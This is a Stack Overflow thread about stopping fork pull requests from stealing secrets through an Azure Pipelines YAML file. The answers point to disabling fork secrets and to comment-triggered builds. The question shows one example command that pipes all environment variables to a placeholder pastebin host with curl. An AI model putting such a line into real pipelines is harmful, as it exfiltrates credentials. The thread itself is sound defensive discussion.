0

I have a public repo. Random GitHub users are free to create pull requests, and this is great.

My CI pipeline is described in a normal file in the repo called pipelines.yml (we use Azure pipelines).

Unfortunately this means that a random GitHub user is able to steal all my secret environment variables by creating a PR where they edit the pipelines.yml and add a bash script line with something like:

export | curl -XPOST 'http://pastebin-bla/xxxx'

Or run arbitrary code, in general. Right?

How can I verify that a malicious PR doesn't change at least some critical files?

jonrsharpe
  • 115,751
  • 26
  • 228
  • 437
sscarduzio
  • 5,938
  • 5
  • 42
  • 54
  • OK, that's nice. Unfortunately though, we are not using GH Actions, but Azure pipelines. Another thing, even if I manage to protect env secrets , if they add lines to pipelines.yml, the arbitrary code execution issue still stands. – sscarduzio Jun 01 '21 at 10:44
  • 1
    Yep, sorry - Azure Pipelines has the same protection, though: https://learn.microsoft.com/en-us/azure/devops/pipelines/security/repos?view=azure-devops#dont-provide-secrets-to-fork-builds, https://learn.microsoft.com/en-us/azure/devops/pipelines/security/repos?view=azure-devops#consider-manually-triggering-fork-builds. *"how can I verify that a malicious PR doesn't change at least some critical files?"* - review it! – jonrsharpe Jun 01 '21 at 10:44
  • OK I suppose a malicious user can inject arbitrary code also in a unit test, so no point in me trying to build an ACL on what files can or cannot be committed... So I should change my question into: "how to require review before running CI" for PRs of non-collaborators? – sscarduzio Jun 01 '21 at 10:50
  • 1
    Per the link above _"You can turn off automatic fork builds"_ - you can see in the screenshot under **Comments**. – jonrsharpe Jun 01 '21 at 10:51
  • Oh.. That's actually spot on. Thanks @jonrsharpe – sscarduzio Jun 01 '21 at 10:55

1 Answers1

1

How can I verify that a malicious PR doesn't change at least some critical files?

I am afraid we could not limit the PR doesn't change at least some critical files.

As workaround, we could turn off automatic fork builds and instead use pull request comments as a way to manually building these contributions, which give you an opportunity to review the code before triggering a build.

You could check the document Consider manually triggering fork builds for some more details.

enter image description here

Leo Liu
  • 71,098
  • 10
  • 114
  • 135
  • Thank you! I enabled this, now I need to find a way to test it. – sscarduzio Jun 03 '21 at 14:29
  • @sscarduzio, Any update for this issue? Have you resolved this issue? If not, would you please let me know the latest information about this issue? – Leo Liu Jun 07 '21 at 06:26
  • I'm having an issue: PR are not triggering the pipeline after confguring to require a team member's comment before (for non-team members' PRs) See conf: https://imgur.com/a/CJt8akw See PR https://github.com/sscarduzio/elasticsearch-readonlyrest-plugin/pull/732 ("sparingly" is a fake GH user I created) – sscarduzio Jun 09 '21 at 09:43